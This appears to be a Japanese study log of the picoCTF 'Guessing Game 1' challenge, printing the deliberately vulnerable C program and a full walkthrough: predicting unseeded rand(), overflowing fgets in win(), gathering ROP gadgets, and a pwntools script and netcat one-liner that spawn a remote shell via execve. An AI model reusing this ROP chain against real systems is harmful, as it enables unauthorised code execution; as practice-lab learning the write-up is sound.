picoGym Practice Challenges Guessing Game 1 を勉強した記録

picoGym Practice Challenges Guessing Game 1

https://play.picoctf.org/practice?category=6&page=1

I made a simple game to show off my programming skills. See if you can beat it!
vuln vuln.c Makefile nc jupiter.challenges.picoctf.org 50581

```:Makefile
all:
	gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c

clean:
	rm vuln
```

```c:vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 100


long increment(long in) {
	return in + 1;
}

long get_random() {
	return rand() % BUFSIZE;
}

int do_stuff() {
	long ans = get_random();
	ans = increment(ans);
	int res = 0;
	
	printf("What number would you like to guess?\n");
	char guess[BUFSIZE];
	fgets(guess, BUFSIZE, stdin);
	
	long g = atol(guess);
	if (!g) {
		printf("That's not a valid number!\n");
	} else {
		if (g == ans) {
			printf("Congrats! You win! Your prize is this print statement!\n\n");
			res = 1;
		} else {
			printf("Nope!\n\n");
		}
	}
	return res;
}

void win() {
	char winner[BUFSIZE];
	printf("New winner!\nName? ");
	fgets(winner, 360, stdin);
	printf("Congrats %s\n\n", winner);
}

int main(int argc, char **argv){
	setvbuf(stdout, NULL, _IONBF, 0);
	// Set the gid to the effective gid
	// this prevents /bin/sh from dropping the privileges
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	
	int res;
	
	printf("Welcome to my guessing game!\n\n");
	
	while (1) {
		res = do_stuff();
		if (res) {
			win();
		}
	}
	
	return 0;
}
```

# 脆弱性は？
ソースから
do_stuff関数内でgameに勝つと win関数に進める
win関数内の fgets にバッファオーバーフローがある

main関数

```
=> 0x0000000000400ce9 <+93>:	call   0x400b9a <do_stuff>
   0x0000000000400cee <+98>:	mov    DWORD PTR [rbp-0x8],eax
   0x0000000000400cf1 <+101>:	cmp    DWORD PTR [rbp-0x8],0x0
   0x0000000000400cf5 <+105>:	je     0x400ce4 <main+88>
   0x0000000000400cf7 <+107>:	mov    eax,0x0
   0x0000000000400cfc <+112>:	call   0x400c40 <win>
   0x0000000000400d01 <+117>:	jmp    0x400ce4 <main+88>
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/9885b36f-2aef-15b9-41b9-4d07a14749e9.png)

"A"の数
"A" * 8 * 15


# gameに勝つ部分

get_randomに癖はあるか？

|回数  |値  |
|---|---|
|１回目  |RAX: 0x53 ('S') |
|２回目  |RAX: 0x56 ('V') |
|３回目  |RAX: 0x4d ('M') |

ここで r (run)

|回数  |値  |
|---|---|
|１回目  |RAX: 0x53 ('S') |
|２回目  |RAX: 0x56 ('V') |
|３回目  |RAX: 0x4d ('M') |

毎回同じだ

１回目に必ず 83 を出してくるので 84 で勝つ


# shellを奪う部分

## 情報収集と方針の決定

```
objdump -d -M intel ./game1
/ syscall
  40137c:       0f 05                   syscall 
```

syscall　があるので execve("/bin/sh",NULL,NULL) を狙う。

"/bin/sh"は無いので自分でどこかに書き込む
どこに書き込むか？

```
objdump -h  ./game1 | less

20 .data         00001bb0  00000000006ba0e0  00000000006ba0e0  000ba0e0  2**5
                  CONTENTS, ALLOC, LOAD, DATA
25 .bss          000016f8  00000000006bc3a0  00000000006bc3a0  000bc398  2**5
                  ALLOC
```

どっちかでいける？
とりあえず経験がある .bss  0x6bc3a0 に "/bin/sh\x00" を書く方針で

## .bss に "/bin/sh\x00" を書く

### スタック設計図

```
+---------------------------------+
| pop rax; ret                    |
+---------------------------------+
| "/bin/sh\x00"                   |
+---------------------------------+
| pop rsi; ret                    |
+---------------------------------+
| .bss                            |
+---------------------------------+
| mov qword ptr [rsi], rax ; ret  |
+---------------------------------+
```

## execve("/bin/sh",NULL,NULL)

### syscallに飛ばす直前のレジスタ

|レジスタ  |値  |
|---|---|
|RDI  |"/bin/sh"のアドレス  |
|RSI  |0x0  |
|RDX  |0x0  |
|RAX  |0x3b (59 execve) |
の状態でretでsyscallに飛ばす

### スタック設計図

```
+--------------------+
| pop rdi; ret       |
+--------------------+
| .bss ("/bin/sh")   |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0                |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0                |
+--------------------+
| pop rax; ret       |
+--------------------+
| 0x3b               |
+--------------------+
| syscall; ret       | 
+--------------------+
```

## ROP 部品集め

pop_rax ; ret
58 c3

```
  4163f3:       e8 58 c3 ff ff          call   412750 <_IO_wdo_write>
```

pop_rax = 0x4163f4

pop rsi ; ret
5e c3

```
  418d4f:       41 5e                   pop    r14
  418d51:       c3                      ret    
```
pop_rsi = 0x418d50

mov qword ptr [rsi], rax ; ret

```
/QWORD PTR \[rsi\],rax
  47ff91:       48 89 06                mov    QWORD PTR [rsi],rax
  47ff94:       c3                      ret    
```

mov_rsi_rax = 47ff91

別解

```
$ python
>>> from pwn import *
>>> context.arch = "amd64"
>>> asm("mov qword ptr [rsi],rax ; ret")
'H\x89\x06\xc3'
>>> binary = elf.load("game1")
>>> hex(next(binary.search('H\x89\x06\xc3')))
'0x47ff91'
```

pop rax; ret
58 c3

```
  4163f3:       e8 58 c3 ff ff          call   412750 <_IO_wdo_write>
```

pop_rax = 0x4163f4

pop rdi; ret
5f c3

```
  400695:       41 5f                   pop    r15
  400697:       c3                      ret   
```

pop_rdi = 0x400696

pop rdx; ret
5a c3

```
  44cc25:       41 5a                   pop    r10
  44cc27:       c3 
```

pop_rdx = 0x44cc26


## 実装

```
# coding: UTF-8
from pwn import *
import pwn 

io = pwn.remote("jupiter.challenges.picoctf.org", 50581)
#io = pwn.process("./game1")

# gameに勝つ部分

ret = io.readuntil("What number would you like to guess?\n")
print(ret)
io.sendline("84")

ret = io.readuntil("Name? ")
print(ret)

# ROP部品

pop_rax = 0x4163f4
pop_rsi = 0x418d50
mov_rsi_rax = 0x47ff91
pop_rax = 0x4163f4
pop_rdi = 0x400696
pop_rdx = 0x44cc26

addr_bss = 0x6bc3a0
addr_syscall = 0x40137c

# "bin/sh"
s = b"A" * 8 * 15
s += pwn.p64(pop_rax)
s += b"/bin/sh\x00"
s += pwn.p64(pop_rsi)
s += pwn.p64(addr_bss)
s += pwn.p64(mov_rsi_rax)

# execve("/bin/sh",NULL,NULL)
s += pwn.p64(pop_rdi)
s += pwn.p64(addr_bss)
s += pwn.p64(pop_rsi)
s += pwn.p64(0x0)
s += pwn.p64(pop_rdx)
s += pwn.p64(0x0)
s += pwn.p64(pop_rax)
s += pwn.p64(0x3b)
s += pwn.p64(addr_syscall)

print(s)

#io.send(s)
io.sendline(s)
io.interactive()
```

# 攻撃コード（別解）

```
( python -c 'print(84)' ; python -c 'print("a"*120+"\xf4cA\x00\x00\x00\x00\x00/bin/sh\x00\xa3\x0cA\x00\x00\x00\x00\x00\xa0\xc3k\x00\x00\x00\x00\x00\x91\xffG\x00\x00\x00\x00\x00\x96\x06@\x00\x00\x00\x00\x00\xa0\xc3k\x00\x00\x00\x00\x00\xa3\x0cA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb5\xa6D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf4cA\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00|\x13@\x00\x00\x00\x00\x00")' ; cat ) | nc jupiter.challenges.picoctf.org 50581
```

　 
　
 
参考にしたwriteup

https://alisyakainth.medium.com/hacking-series-part-3-ba08e83989b6